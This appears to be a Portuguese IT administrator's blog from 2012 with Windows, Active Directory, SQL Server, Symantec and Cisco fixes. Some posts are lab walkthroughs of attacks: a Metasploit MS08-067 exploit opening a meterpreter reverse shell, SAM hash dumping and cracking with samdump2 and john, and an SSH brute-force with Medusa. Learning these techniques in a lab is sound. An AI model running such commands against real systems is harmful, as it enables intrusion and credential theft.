Por padrão os hosts Vmware ESXi não iniciam as VMs automaticamente (levando em conta que você não tem o HA habilitado, entre outros recursos), vamos descrever um cenário bem básico, onde o administrador tem apenas um host ESXi, e deseja que as VMs sejam inicializadas automaticamente, caso o host(máquina fisica) seja ligado\reiniciado, para isso basta acessar o host através do VClient e na aba "Configuration" acessar a opção "Virtual Machine Startup/Shutdown", conforme print abaixo:
Basta configurar as opções desejadas, caso acha diversas VMs é bom ficar atento a ordem para inicializar as máquinas. Também é possível configurar o desligamento da máquina.
segunda-feira, dezembro 17, 2012
sexta-feira, dezembro 07, 2012
Unable to connect to the NETLOGON share!
Ao executar a ferramenta dcdiag nos controladores de domínio recebia a seguinte mensagem:
Unable to connect to the NETLOGON share!
O compartilhamento administrativo NETLOGON não estava disponível, isso ocorreu depois de ser efetuado um restore autoritativo do AD, para resolver este problema executei os seguintes procedimentos:
- Parei o serviço de replicação em todos os controladores de domínio.
- No controlador de domínio “principal”, especifiquei o valor D4 na seguinte chave de registro “BurFlags”:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NtFrs\Parameters\Backup/Restore\ BurFlags
Este controlador de domínio replicará as informações para os outros;
- Nos outros controladores de domínio adicionar o valor D2
Para o processo ter sucesso é necessário que exista uma pasta chamada SCRIPTS no seguinte caminho:
%\Windows\SYSVOL\sysvol\seudominio
Nos DCs é necessário que exista duas pastas dentro do “seudominio” Polices e SCRIPTS, se tiver qualquer outra coisa é necessário mover\apagar.
Após estes procedimentos é necessário inicar o serviço de replicação, o processo é iniciar o serviço a partir do controlador de dominio principal, o qual foi especificado o valor D4.
Depois testei novamente o NETLOGON:
C:\dcdiag /test:netlogons
Starting test: NetLogons
......................... MeuServidor passed test NetLogons
Mais informações:
http://support.microsoft.com/kb/290762
Unable to connect to the NETLOGON share!
O compartilhamento administrativo NETLOGON não estava disponível, isso ocorreu depois de ser efetuado um restore autoritativo do AD, para resolver este problema executei os seguintes procedimentos:
- Parei o serviço de replicação em todos os controladores de domínio.
- No controlador de domínio “principal”, especifiquei o valor D4 na seguinte chave de registro “BurFlags”:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NtFrs\Parameters\Backup/Restore\ BurFlags
Este controlador de domínio replicará as informações para os outros;
- Nos outros controladores de domínio adicionar o valor D2
Para o processo ter sucesso é necessário que exista uma pasta chamada SCRIPTS no seguinte caminho:
%\Windows\SYSVOL\sysvol\seudominio
Nos DCs é necessário que exista duas pastas dentro do “seudominio” Polices e SCRIPTS, se tiver qualquer outra coisa é necessário mover\apagar.
Após estes procedimentos é necessário inicar o serviço de replicação, o processo é iniciar o serviço a partir do controlador de dominio principal, o qual foi especificado o valor D4.
Depois testei novamente o NETLOGON:
C:\dcdiag /test:netlogons
Starting test: NetLogons
......................... MeuServidor passed test NetLogons
Mais informações:
http://support.microsoft.com/kb/290762
Adprep could not contact a replica for partition DC=DomainDnsZones
Ao executar o comando adprep /rodcprep recebia a seguinte mensagem (Levando em conta que meu dominio é contoso.internal) :
"Adprep could not contact a replica for partition DC=DomainDnsZones,DC=contoso,DC=internal"
Li alguns artigos de como resolver esse problema, mas achei a maioria “complexa”, e com muitos passos, quando fui consultar o DNS observei que a partição DomainDnsZones e ForestDomainZones não estavam presentes, ao consultar através do ADSedit e do ntdsutil a partição estava presente. Um exemplode através do ntdsutil:
C:\Windows\system32>ntdsutil
ntdsutil: Ac in ntds
Active instance set to "ntds".
ntdsutil: partition management
partition management: connections
server connections: Connect to server meuservidor
Binding to meuservidor ...
Connected to meuservidor using credentials of locally logged on user.
server connections: quit
partition management: list
Note: Directory partition names with International/Unicode characters will only
display correctly if appropriate fonts and language support are loaded
Found 5 Naming Context(s)
0 - CN=Configuration,DC=contoso,DC=internal
1 - CN=Schema,CN=Configuration,DC=contoso,DC=internal
2 - DC=contoso,DC=internal
3 - DC=DomainDnsZones,DC=contoso,DC=internal
4 - DC=ForestDnsZones,DC=contoso,DC=internal
Para resolve este problema removi a partição DomainDnsZones e ForestDnsZones, é possível remover a partição através do ntdsutil (delete nc) ou através do Adsedit. Com o Adsedit bastou remover dois registros, primeiramente conectar (Contexto "Configuration"):
Acessar o caminho:
CN=Partitions,CN=Configuration,DC=contoso,DC=internal
Remover os dois registros DomainDnsZone e ForestDnsZone.
Após isso basta acessar o gerenciador do DNS e criar as partições:
Depois disso recebi a tão esperada mensagem:
C:\adprep /rodcprep
Adprep completed without errors. All partitions are updated. See the ADPrep.log
in directory C:\Windows\debug\adprep\logs\20121207144306 for more information.
segunda-feira, novembro 26, 2012
An error occurred while processing the log for database 'model'
Utilizo o SCCM 2012, o SCCM utiliza o SQL Server 2008 R2, por algum motivo a database model corrompeu, e o serviço do SQL não iniciava mais, logo não conseguia mais acesso ao gerenciador do System Center, era apresentado o seguinte erro no log:
Erro:
An error occurred while processing the log for database 'model'. If possible, restore from backup. If a backup is not available, it might be necessary to rebuild the log.
Uma solução era restaurar o backup, mas como vou restaurar o backup se o serviço não iniciava?. A solução que encontrei foi a seguinte, renomear os aquivos model.mdf e model.ldf e copiei o template da base de dados model (model.mdf e model.ldf) localizados no seguinte caminho:
%caminho_install%Microsoft SQL Server\MSSQL10_50.MSSQLSERVER\MSSQL\Binn\Templates
Para o seguinte caminho:
Microsoft SQL Server\MSSQL10_50.MSSQLSERVER\MSSQL\DATA
Após o procedimento acima consegui iniciar o serviço do MS SQL normalmente.
domingo, novembro 25, 2012
Criando uma PSO (Fine-grained password)
Cenário:
Windows Server 2008 R2. Domínio: contoso.internal
Requisitos:
Nível funcional do Domínio Windows 2008 ou superior.
Objetivo:
Criar uma política de senha para o grupo de segurança “HelpDesk”.
Procedimentos:
Abrir a ferramenta adsiedit.msc
Efetuar a conexão:
Acessar o seguinte caminho:
DC=contoso,DC=internal
CN=System
CN=Password Settings Container
Criar um novo objeto msDS-PasswdSettings.
Adicionar os valores desejados.
Em CN atribute valor= Password_Custom – Avançar.
msDS-PasswordSettingsPrecedence valor=10 – Avançar.
msDS-PasswordReversibleEncryptionEnabled valor= FALSE Avançar.
msDS-PasswordHistoryLength valor= 6 Avançar.
msDS-PasswordComplexityEnabled (complexidade de senha) valor=true Avançar.
msDS-MinimumPasswordLength (Tamanho mínimo) valor=15 Avançar.
msDS-MinimumPasswordAge (Tempo mínimo da senha) valor=1:00:00:00 (Um dia) Avançar.
msDS-MaximumPasswordAge (Tempo de vida máximo da senha) valor= 45:00:00:00 (45 dias) Avançar.
msDS-LockoutThreshold valor=5 Avançar.
msDS-LockoutObservationWindow valor=00:00:10:00 Avançar.
msDS-LockoutDuration valor=00:00:15:00 Avançar.
Finalizar.
Abrir Active Directory User and Computers (modo avançado de visualização);
Acessar o seguinte caminho:
System – Password Settings Container, selecionar a “police” criada, ir em “Properties” e adicionar o valor msDS-PSOAppliesTo conforme print abaixo:
DC=contoso,DC=internal
CN=System
CN=Password Settings Container
Criar um novo objeto msDS-PasswdSettings.
Adicionar os valores desejados.
Em CN atribute valor= Password_Custom – Avançar.
msDS-PasswordSettingsPrecedence valor=10 – Avançar.
msDS-PasswordReversibleEncryptionEnabled valor= FALSE Avançar.
msDS-PasswordHistoryLength valor= 6 Avançar.
msDS-PasswordComplexityEnabled (complexidade de senha) valor=true Avançar.
msDS-MinimumPasswordLength (Tamanho mínimo) valor=15 Avançar.
msDS-MinimumPasswordAge (Tempo mínimo da senha) valor=1:00:00:00 (Um dia) Avançar.
msDS-MaximumPasswordAge (Tempo de vida máximo da senha) valor= 45:00:00:00 (45 dias) Avançar.
msDS-LockoutThreshold valor=5 Avançar.
msDS-LockoutObservationWindow valor=00:00:10:00 Avançar.
msDS-LockoutDuration valor=00:00:15:00 Avançar.
Finalizar.
Abrir Active Directory User and Computers (modo avançado de visualização);
Acessar o seguinte caminho:
System – Password Settings Container, selecionar a “police” criada, ir em “Properties” e adicionar o valor msDS-PSOAppliesTo conforme print abaixo:
Após os procedimentos acima o grupo "HelpDesk" terá uma política de senha diferenciada.
terça-feira, novembro 20, 2012
0x80090016: Keyset does not exist
Ao tentar editar\criar uma tarefa agendada no Windows Server 2003 recebia o seguinte erro:
0x80090016: Keyset does not exist
Solução:
* Para o serviço "Task Scheduler".
* Excluir o conteúdo da pasta: "C:\Documents and Settings\All Users\Application Data\Microsoft\Crypto\RSA\S-1-5-18"
* Iniciar o serviço "Task Scheduler".
sexta-feira, outubro 12, 2012
Metasploit
Recentemente adquiri o livro “Metasploit – The Penetration tester’s Guide”, para quem não sabe o Metasploit é uma ferramenta para profissionais da segurança da informação, com ela é possível explorar vulnerabilidades, é bem interessante, eu particularmente sempre tive curiosidade de como funciona uma invasão, exploração de vulnerabilidade etc. Para os testes com o Metasploit criei um ambiente composto por duas máquinas virtuais, o “alvo” uma máquina Windows XP Sp2 English e a máquina atacante, Debian 6, explorei uma vulnerabilidade famosa do Windows que explora o serviço “Server”, esse problema foi corrigido a algum tempo e máquinas atualizadas não correm este risco, mais informações sobre esse problema podes ser obtidas no seguinte link: http://technet.microsoft.com/en-us/security/bulletin/ms08-067
Abaixo descrevo o processo para obter acesso a máquina Windows XP Sp2 com a vulnerabilidade ms08-057.
Após abrir o console do Metasploit seleciono o exploit:
msf > use exploit/windows/smb/ms08_067_netapi
Seleciono o “Payload”
msf > set payload windows/meterpreter/reverse_tcp
Utilizando o reverse_tcp a máquina alvo que se conecta ao atacante.
Por padrão a descoberta do algo (SO) está como automático, uma boa prática é descobrir a versão do SO, você podes obter uma lista utilizando o comando show targets.
msf > set TARGET 4
4 Windows XP SP2 English (NX)
A opção NX diz que o DEP está ativado, no Windows XP Sp2 isso é ativado por padrão, o DEP é um recurso interessante que “impede” a execução de código em determinadas área de SO:
http://en.wikipedia.org/wiki/NX_bit
Especifico o host que será atacado (RHOST) e o host que é o atacante (LHOST):
msf > set RHOST 192.168.0.7
msf > set LHOST 192.168.0.18
Posso escolher uma porta para conexão com o comando set LPORT.
Basicamente as opções ficaram assim (comando show options):
Após as opções estarem definidas basta executar o comando exploit:
msf exploit(ms08_067_netapi) > exploit
[*] Started reverse handler on 192.168.0.18:4444
[*] Attempting to trigger the vulnerability...
[*] Sending stage (752128 bytes) to 192.168.0.7
[*] Meterpreter session 2 opened (192.168.0.18:4444 -> 192.168.0.7:1088) at 2012-10-12 12:40:04 -0300
Se tudo estiver correto parabéns, você invadiu sua primeira máquina.
Posso obter os processos em execução na máquina algo digitando o comando ps, conforme print abaixo, e também obter um shell com o comando shell:
Basicamente é esse o processo, claro que em um ambiente de teste é fácil executar este tipo de teste, mas na "vida real" as coisas não são tão simples asssim, temos firewalls, atualizações, NAT, Antivirus, e outras coisas que podem impedir o sucesso de um ataque.
sábado, setembro 15, 2012
Exame 70-643
Realizei mais um exame da Microsoft o exame foi o 70-643, realizei pela segundo vez, visto que não passei na primeira, no segundo exame como no primeiro foram 50 questões, agora só falta uma prova para fechar o "Enterprise Administrator", pretendo realizar até o final do ano.
Link com informações da prova:
sábado, setembro 08, 2012
Instalação de Aplicativos no RDS
Para a instalação de aplicativos em um computador executando o serviço RDS (Remote Desktop Services) devemos alterar o modo de "execução" do computador, que por padrão está no modo "execute", há duas formas de instalar aplicativos no RDS, no painel de controle através da "Install Application on Remote Desktop Server" ou executando o comando change, conforme print abaixo:
Após a execução do comando "change user /install" o servidor está no modo de instalação.
terça-feira, setembro 04, 2012
Erro SCCM 2012 - Report Builder 2.0
Ao tentar criar um relatório no System Center Configuration Manager 2012 o seguinte erro era apresentado:
"Report Builder 2.0 is not installed as a click-once application on report server 'myserver'"
Para resolver o problema basta acessar o regedit:
Para resolver o problema basta acessar o regedit:
Acessar o caminho: 'HKLM\Software\Wow6432Node\Microsoft\ConfigMgr10\AdminUI\Reporting\'
Altere o valor da String ReportBuilderApplicationManifestName de “ReportBuilder_2_0_0_0.application”
para “ReportBuilder_3_0_0_0.application”.
Após issofoi possível criar relatórios no SCCM.
segunda-feira, setembro 03, 2012
SQLANYs_sem5 Could not start server
Problema: O log de transações do banco de dados do SEPM corrompido, não conseguia iniciar o serviço da base de dados e do gerenciador do SEPM os seguintes logs eram gerados:
SQLANYs_sem5
Database cannot be started -- sem5.log is an invalid transaction log
SQLANYs_sem5
Could not start server
SQLANYs_sem5
Database cannot be started -- sem5.log is an invalid transaction log
SQLANYs_sem5
Could not start server
Solução:
Renomear o arquivo de log "%localdeinstalacaoSEPM%Manager\db\" renomear sem5.log para sem5.log.old
Acessar via prompt de comando o seguinte caminho: "%localdeinstalacaoSEPM%\ASA\win32\"
Forçar a recriação do sem5.log, com o comando abaixo:
A versão do dbsrv vai depender da versão da base de dados do SEPM, que no meu caso era 11.
"dbsrv11 -f "%localdeinstalacaoSEPM%\db\sem5.db"
Após o comando iniciar os serviços Symantec Embedded Database Service e Symantec Endpoint Protection Manager service.
Após o comando iniciar os serviços Symantec Embedded Database Service e Symantec Endpoint Protection Manager service.
domingo, julho 15, 2012
Criar CD Windows PE
O Windows PE é o ambiente de pré -instalação do Windows, é possível criá-lo através das ferramentas disponíveis no Windows AIK que pode ser baixado no link abaixo:
http://www.microsoft.com/en-us/download/details.aspx?id=5753
Para criar um CD com o Windows PE é necessário executar os passos abaixo:
Iniciar o Windows AIK;Executar os seguintes comandos;
Copype.cmd amd64 C:\win_PE64
copy "c:\Program Files\Windows AIK\Tools\amd64\imagex.exe" C:\win_PE64\ISO
Criar um arquivo Wimscript.ini e salvar na pasta C:\win_PE\ISO, o arquivo Wimscript.ini deve possuir o seguinte conteúdo:
[ExclusionList]
ntfs.log
hiberfil.sys
pagefile.sys
"System Volume Information"
RECYCLER
Windows\CSC
[CompressionExclusionList]
*.mp3
*.zip
*.cab\WINDOWS\inf\
*.pnf
[ExclusionList]
Especifica quais arquivos não devem ser capturados através da ferramenta imageX
[CompressExclusionList] Quais arquivos ou tipos de arquivos que não devem ser compactados.
E finalmente executar o Oscdimg.exe
Oscdimg -n -bc:\win_PE64\etfsboot.com c:\win_PE64\ISO c:\win_PE64\winPE_amd64.iso
Seu CD com o ambiente de pré-instalação do Windows foi criado.
quinta-feira, julho 12, 2012
Symantec Endpoint Protection Manager server - Log da base de dados
Recentemente tive um problema com o log de transações base de dados do SEPM (
%caminhodeinstalacaodoSEPM%\db\sem5.log), estava usando quase todo o espaço em disco, o motivo é que não estava configurado a opção "Truncate the database transaction logs", após efetuar a configuração não tive mais este tipo de problema, abaixo os passos para configuração:
Acessar o SEPM - Admin - Server - Selecionar a base de dados conforme print abaixo:
Editar as propriedades da base de dados e marcar a opção "Trucate the database transaction logs", é possível executar o procedimento manualmente, basta selecionar a base de dados (click com o botão direito do mouse) e executar Truncate Transaction Log Now.
terça-feira, julho 10, 2012
550 5.7.1 RESOLVER.RST.AuthRequired; authentication required
Ao enviar e-mail para um respectivo grupo era gerado a seguinte mensagem:
550 5.7.1 RESOLVER.RST.AuthRequired; authentication required
Solução:
Acessar o Exchange, selecionar o grupo e desmarcar a opção "Require that all sender are authenticated"
domingo, julho 08, 2012
Erro 800F0818 ao aplicar Sp1 - Windows Server 2008 R2
Ao aplicar o Sp1 do Windows Server 2008 R2 a seguinte mensagem era gerada:
C:\expand -F:* Windows6.1-KB2675157-x64.cab C:\update\cab
=================================
Checking System Update Readiness.
Binary Version 6.1.7601.21645
Package Version 15.0
2012-07-08 12:27
Checking Windows Servicing Packages
Checking Package Manifests and Catalogs
Checking Package Watchlist
Checking Component Watchlist
Checking Packages
Checking Component Store
Summary:
Seconds executed: 117
Para resolver o problema executei os seguintes procedimentos:
1 - Baixar e instalar System Update Readiness Tool for Windows Server 2008 R2 x64 Edition (KB947821)
2 - Verificar o log da ferramenta em:
%systemroot%\Logs\CBS\CheckSur.log
Verificando o log encontrei dois erros, com o KB2675157, então efetuei o download do respectivo KB.
3 - Após baixar o pacote usei o comando "expand" para "expandir" o arquivo .msu com o seguinte comando
C:\expand -F:* Windows6.1-KB2675157-x64.msu C:\update
Neste caso C:\update é a pasta onde vou expandir o arquivo.
Com este comando será gerado um arquivo .cab terei que expandi-lo também:C:\expand -F:* Windows6.1-KB2675157-x64.cab C:\update\cab
4 - Vários arquivos seram gerados (pasta cab), basta copiar os arquivos que foram indentificados como "corrompidos" (log CheckSur.log passo 2) para o seguinte caminho:
%systemroot%\Servicing\Packages, será necessário sobreescrever os arquivos.
5 - Executar novamente a ferramenta System Update Readiness Tool for Windows server 2008 R2 (passo 1), verificar o log se foi gerado algum erro (%systemroot%\Logs\CBS\CheckSur.log):
Checking System Update Readiness.
Binary Version 6.1.7601.21645
Package Version 15.0
2012-07-08 12:27
Checking Windows Servicing Packages
Checking Package Manifests and Catalogs
Checking Package Watchlist
Checking Component Watchlist
Checking Packages
Checking Component Store
Summary:
Seconds executed: 117
No errors detected
6 - Se nenhum erro foi gerado é possível aplicar o SP1.
sábado, junho 30, 2012
Bloquear estação de trabalho - GPO
Surgiu a necessidade de efetuar o bloqueio da estação de trabalho do usuário, quando a estação ficar um número X de minutos inativa, isso é importante por questões de segurança, já que não são todos que tem o "hábito" de bloquear a estação de trabalho quando sai para um café ou outra coisa.
Abaixo um print com as diretivas envolvidas:
Trabalhei com 5 diretivas, mais detalhes basta ler a descrição.
Para o "Bloqueio" adicionei o seguinte valor "rundll32 user32.dll,LockWorkStation" na diretiva "Force specific screen saver":
quarta-feira, junho 20, 2012
Backup Exec 2010 Final error: 0xe0000f04
Erro:
Final error: 0xe0000f04 - The media server could not connect to the remote computer. The remote computer may not be running the Backup Exec
Remote Agent for Windows/Linux. Make sure that the correct version of the Remote Agent is installed and running on the target computer.
Final error category: Resource Errors
Remote Agent for Windows/Linux. Make sure that the correct version of the Remote Agent is installed and running on the target computer.
Final error category: Resource Errors
A causa deste erro foi porque o serviço Backup Exec Remote Agent for Windows Systems estava com o status de parado, bastou iniciar o serviço que o problema foi resolvido.
sábado, junho 16, 2012
Router Administrative Configurations - Cisco
#privilege mode
router>enable
#Change Hostname
Router#config t
Enter configuration commands, one per line. End with CNTL/Z.
Router(config)#hostname Florianopolis
Florianopolis(config)#
# Add a banner
Florianopolis(config)#banner motd #
Enter TEXT message. End with the character '#'.
Maykon.com Network!
#
Florianopolis(config)#^Z
Florianopolis#
%SYS-5-CONFIG_I: Configured from console by console
Florianopolis#exit
Florianopolis con0 is now available
Press RETURN to get started.
Maykon.com Network!
Florianopolis>
# Setting Passwords, five passwords: console, auxiliary, telnet(VTY), enable password, and enable secret. Enable secret and enable password are used to set the password that's used to secure privileged mode.
Florianopolis(config)#enable ?
password Assign the privileged level password
secret Assign the privileged level secret
password: Sets the enable password, and isn't ever used if an enable secret is set
secret: This is the newer, encrypted password that overrides the enable password if it's set.
# Set password for router Florianopolis "maykon".
Florianopolis(config)#enable secret maykon
Florianopolis(config)#exit
Auxiliary Password
Florianopolis(config)#line aux 0
Florianopolis(config-line)#login
Florianopolis(config-line)#password aux
Florianopolis(config-line)#login
Console Password
Router(config)#line console ?
<0-0> First Line number
Router(config)#line console 0
Router(config-line)#password console
Telnet Password
Router(config)#line vty ?
<0-15> First Line number
Router(config)#line vty 0 15
Router(config-line)#password telnet
router>enable
#Change Hostname
Router#config t
Enter configuration commands, one per line. End with CNTL/Z.
Router(config)#hostname Florianopolis
Florianopolis(config)#
# Add a banner
Florianopolis(config)#banner motd #
Enter TEXT message. End with the character '#'.
Maykon.com Network!
#
Florianopolis(config)#^Z
Florianopolis#
%SYS-5-CONFIG_I: Configured from console by console
Florianopolis#exit
Florianopolis con0 is now available
Press RETURN to get started.
Maykon.com Network!
Florianopolis>
# Setting Passwords, five passwords: console, auxiliary, telnet(VTY), enable password, and enable secret. Enable secret and enable password are used to set the password that's used to secure privileged mode.
Florianopolis(config)#enable ?
password Assign the privileged level password
secret Assign the privileged level secret
password: Sets the enable password, and isn't ever used if an enable secret is set
secret: This is the newer, encrypted password that overrides the enable password if it's set.
# Set password for router Florianopolis "maykon".
Florianopolis(config)#enable secret maykon
Florianopolis(config)#exit
Auxiliary Password
Florianopolis(config)#line aux 0
Florianopolis(config-line)#login
Florianopolis(config-line)#password aux
Florianopolis(config-line)#login
Console Password
Router(config)#line console ?
<0-0> First Line number
Router(config)#line console 0
Router(config-line)#password console
Telnet Password
Router(config)#line vty ?
<0-15> First Line number
Router(config)#line vty 0 15
Router(config-line)#password telnet
quinta-feira, junho 14, 2012
SQL Server 2008: Unable to initialize SSL support
Não era possível inicializar o serviço do MS SQL Server, os seguintes logs de erros eram gerados:
Id Event: 17182
Unable to initialize SSL support.
Id Event: 17120
SQL Server could not spawn FRunCM thread. Check the SQL Server error log and the Windows event logs for information about possible related problems
Id Event: 26014
Unable to load user-specified certificate [Cert Hash(sha1) "470AB0D265F3281B4A159DF064C6C071D3BB3491"]. The server will not accept a connection. You should verify that the certificate is correctly installed. See "Configuring Certificate for Use by SSL" in Books Online.
Solução:
Acessar o SQL Server Configuration Manager (selecionar a instância) e selecionar o certificado emitido para o computador, conforme print abaixo:
Id Event: 17182
Unable to initialize SSL support.
Id Event: 17120
SQL Server could not spawn FRunCM thread. Check the SQL Server error log and the Windows event logs for information about possible related problems
Id Event: 26014
Unable to load user-specified certificate [Cert Hash(sha1) "470AB0D265F3281B4A159DF064C6C071D3BB3491"]. The server will not accept a connection. You should verify that the certificate is correctly installed. See "Configuring Certificate for Use by SSL" in Books Online.
Solução:
Acessar o SQL Server Configuration Manager (selecionar a instância) e selecionar o certificado emitido para o computador, conforme print abaixo:
quinta-feira, maio 24, 2012
Alterar diretório perfil usuários – Windows 2003
Por padrão o diretório padrão do perfil de usuários é %SystemDrive%\Documents and Settings este valor é armazenado na seguinte chave de registro: HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList\ ProfilesDirectory
No exemplo abaixo alterei para D:\Perfil
No exemplo abaixo alterei para D:\Perfil
Lembrando que após a instalação do SO, isso deve ser executado primeiramente, antes de qualquer outra instalação.
Copiar a pasta “Default User”, para o D:\Perfil (essa pasta é oculta por padrão), pasta All User deverá ser copiada para o caminho D:\Perfil, é necessário pesquisar no registro e alterar de %SystemDrive%\Documents and Settings para D:\Perfil, os valores das contas "Default User" e "All User".
sábado, maio 19, 2012
sábado, maio 12, 2012
Ferramenta RunasSpc
A ferramenta RunasSpc permite a execução de um programa com um usuário diferente do atualmente "logado", bem interessante caso seja necessário a execução de um determinado programa com privilégios administrativos, mas o usuário atualmente conectado não tem estes privilégios, isso é útil na criação de batch, no Windows temos o comando run as, só que não tem como especificar a senha através deste comando, mas para isso temos o runasspc!.
Ex de utilização:
runasspc.exe /program:"C:\Program Files\Windows NT\Pinball\pinball.exe" /domain:"localhost" /user:"testadmin" /password:"password"
Link da ferramenta:
http://www.robotronic.de/runasspc.html
sexta-feira, maio 11, 2012
Batch Symantec
Após a migração e atualização (versão 12 do EndPoint Protection) para um novo servidor de gerenciamento os clientes, perderam a comunicação com o SEPM, mesmo efetuando os procedimentos recomendados pela Symantec (configuração de replicação etc) não consegui estabelecer a comunicação entre os clientes e o SEPM, para resolver o problema gerei o arquivo syslink.xml que reconfigura a comunicação entre os clientes e o SEPM, e importei no caminho de instalação do Symantec, abaixo um batch que efetua essa configuração:
echo "Update manager Symantec "
IF "%COMPUTERNAME%" == "NB-MAYKON" GOTO EXIT
cd "C:\Program Files (x86)\Symantec\Symantec Endpoint Protection"
IF %ERRORLEVEL% == 0 GOTO 32EN
cd "C:\Arquivos de programas\Symantec\Symantec Endpoint Protection"
IF %ERRORLEVEL% == 0 GOTO 32PT
cd "C:\Program Files\Symantec\Symantec Endpoint Protection"
IF %ERRORLEVEL% == 0 GOTO 64
echo ==== EXIT ====
GOTO EXIT
:32EN
echo "32 bits"
echo ===== STOP SMC.exe =====
Smc.exe -stop
echo ==== Copy File ====
copy "\\server\syslink\sylink.xml" /Y
echo ===== START SMC.exe =====
Smc.exe -start
GOTO EXIT
:32PT
echo ==== STOP SMC.exe ====
Smc.exe -stop
echo ===== Copy File =====
copy "\\server\syslink\sylink.xml" /Y
echo ===== Start Symantec =====
Smc.exe -start
echo ==== EXIT ===
GOTO EXIT
:64
cd "C:\Program Files\Symantec\Symantec Endpoint Protection"
echo "64 bits"
Smc.exe -stop
echo ==== Copy File ====
copy "\\server\syslink\sylink.xml" /Y
echo ===== START SMC.exe =====
Smc.exe -start
:EXIT
sábado, maio 05, 2012
Resetar senha Windows
É possível resetar a senha de qualquer usuário em sistemas operacionais Windows, utilizando a ferramenta "chntpw", disponível no backtTrack, para isso basta ter acesso físico no respectivo "alvo", e editar o arquivo SAM disponível em /Windows/System32/Config (Levando em conta que você já montou o disco com o comando mount), abaixo um print da ferramenta (ferramenta bem simples):
samdump2
Ferramenta interessante, com ela é possível gerar um "dump" de senhas de Sistemas Operacionais, abaixo os passos necessários, efetuei os testes em ambiente de teste, utilizando o backTrack e o "alvo" foi um Sistema Operacional Windows Server 2003.
Efetuar boot com o backTrack ou similar, montar o disco local (comando mount), eu prefiro copiar via SCP os arquivos necessários (para uma outra máquina), que são system e SAM que estão disponíveis no seguinte caminho: /windows/system32/config/
# utilizar o bkhive para gerar o key.txt
#bkhive system key.txt
Utilizando o samdump2 para gerar um hash
#samdump2 SAM key.txt > hashes.txt
# utilizar o bkhive para gerar o key.txt
#bkhive system key.txt
Utilizando o samdump2 para gerar um hash
#samdump2 SAM key.txt > hashes.txt
Depois utilizar a ferramenta john para quebrar a senha
#/pentest/passwords/john/./john hashes.txt
Demorou cerca de 3 horas para a senha ser parcialmente quebrada, mas quebrar senhas do Windows não é uma tarefa simples, pois isso envolve tipos de autenticação (LAN Manager, NTLM, kerberos etc ), é um assunto muito interessante, vale a pena estudá-lo.
sexta-feira, maio 04, 2012
Pending Reboot Requirement: System Center Essentials 2010
Ao tentar efetuar a instalação do System Center Essentials 2010 não passava dos requisitos, solicitava reinicialização do sistema, mesmo reiniciando mais de uma vez não era possível iniciar a instalação, para resolver este problema bastou editar uma chave do registro, após a edição foi possível efetuar a instalação.
Acessar o seguinte caminho: "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager".
Renomar a chave: "PendingFileRenameOperations" para "PendingFileRenameOperations2".
terça-feira, maio 01, 2012
Medusa
Ferramenta utilizada para realizar “login brute-forcer”, suporta diversos serviços, abaixo um exemplo de utilização:
# medusa -h 10.10.8.163 -u root -P passwords -M ssh
O comando acima funciona da seguinte maneira, medusa é a ferramenta, -h especifica o alto, -u é o usuário, mas também posso utilizar um arquivo com diversos usuários, -P específica o arquivo com a lista das possíveis senhas, neste caso o arquivo chama-se "passwords" e contém as seguintes possíveis senhas:
root
admin
12345
suporte
rootroot
admin
12345
suporte
rootroot
-M o serviço a ser atacado, no exemplo SSH. Após algumas tentativas obtenho o seguinte resultado:
ACCOUNT FOUND: [ssh] Host: 10.10.8.163 User: root Password: rootroot [SUCCESS]
Pronto a senha foi descoberta, rootroot.
Informações sobre a ferramenta:
domingo, abril 29, 2012
theHarvester
Ferramenta muito interessante, com ela é possível obter informações tais como: e-mails, hosts etc, testei a ferramenta e fiquei impressionado com os resultados, vale a pena conferir, uma ferramenta muito interessante para obtenção de informações acerca do "alvo" ferramenta importante para o profissional da segurança da informação.
Link da ferramenta:
A ferramenta é um script Python, abaixo um exemplo?
#./theHarvester.py -d alvo.com -l 100 -b google
theHarvesteer.py é a ferramenta, -d especifica o alvo, -l o número de resultados, -b o "repositorio" que neste caso seria o google, mas há outros como Bing, PGP, LinkedIn etc.
quinta-feira, abril 26, 2012
Erro webhttrack
Ao iniciar o webhttrack (utilizados para copiar o conteúdo de sites para a máquina local) ocorria o seguinte erro:
/usr/local/bin/htsserver: error while loading shared libraries: libhttrack.so.2: cannot open shared object file: No such file or directory
/usr/local/bin/webhttrack(17147): could not spawn htsserver
Solução, criar um link símbolico:
#ln -s /usr/local/lib/libhttrack.so.2 /usr/lib/libhttrack.so.2
Para ler novamente as bibliotecas
#ldconfig
Iniciando o webhttrack
#webhttrack
/usr/local/bin/htsserver: error while loading shared libraries: libhttrack.so.2: cannot open shared object file: No such file or directory
/usr/local/bin/webhttrack(17147): could not spawn htsserver
Solução, criar um link símbolico:
#ln -s /usr/local/lib/libhttrack.so.2 /usr/lib/libhttrack.so.2
Para ler novamente as bibliotecas
#ldconfig
Iniciando o webhttrack
#webhttrack
quarta-feira, abril 25, 2012
LPI Level 1 Exame 102
Hoje realizei a prova LPI Exam 102, foram 60 questões, obtive 730 de 800 possíveis, agora sou Linux LPIC-1.
domingo, abril 15, 2012
Adicionando Memória\CPU em máquina virtual em execução
Uma feature interessante disponível no vSphere (introduzido na versão 4) é a possibilidade de adicionar memória\cpu em máquinas em execução, para isso basta editar as propriedades da máquina e habilitar as opções (por padrão vem desabilitado), conforme print (Edit Settings - Aba Options ):
A adição de memória\cpu em máquinas execução não é suportado por todos os sistemas operacionais, informações sobre compatibilidade podem ser encontradas aqui. Também é necessário possuir licença para permitir essa operação.
sexta-feira, abril 13, 2012
Erros replicação
Ocorria o seguinte erro na replicação entre dois DCs, Win 20008 R2 e Win 2003 R2.
Event Source: NtFrs
Event ID: 13559
Description:
The File Replication Service has detected that the replica root path has changed from "c:\windows\sysvol\domain" to "c:\windows\sysvol\domain". If this is an intentional move then a file with the name NTFRS_CMD_FILE_MOVE_ROOT needs to be created under the new root path.
This was detected for the following replica set:
"DOMAIN SYSTEM VOLUME (SYSVOL SHARE)"
Verificando no Debug %Windir%\debug arquivo NtFrs_0003.log:
ERROR Command file not found at the new root c:\windows\sysvol\domain\NTFRS_CMD_FILE_MOVE_ROOT. Can not move root.
Para resolver este problema bastou criar um arquivo "NTFRS_CMD_FILE_MOVE_ROOT" no caminho solicitado: c:\windows\sysvol\domain sem conteúdo, após isso reiniciar o serviço de replicação, e o problema foi resolvido.
Event Source: NtFrs
Event ID: 13559
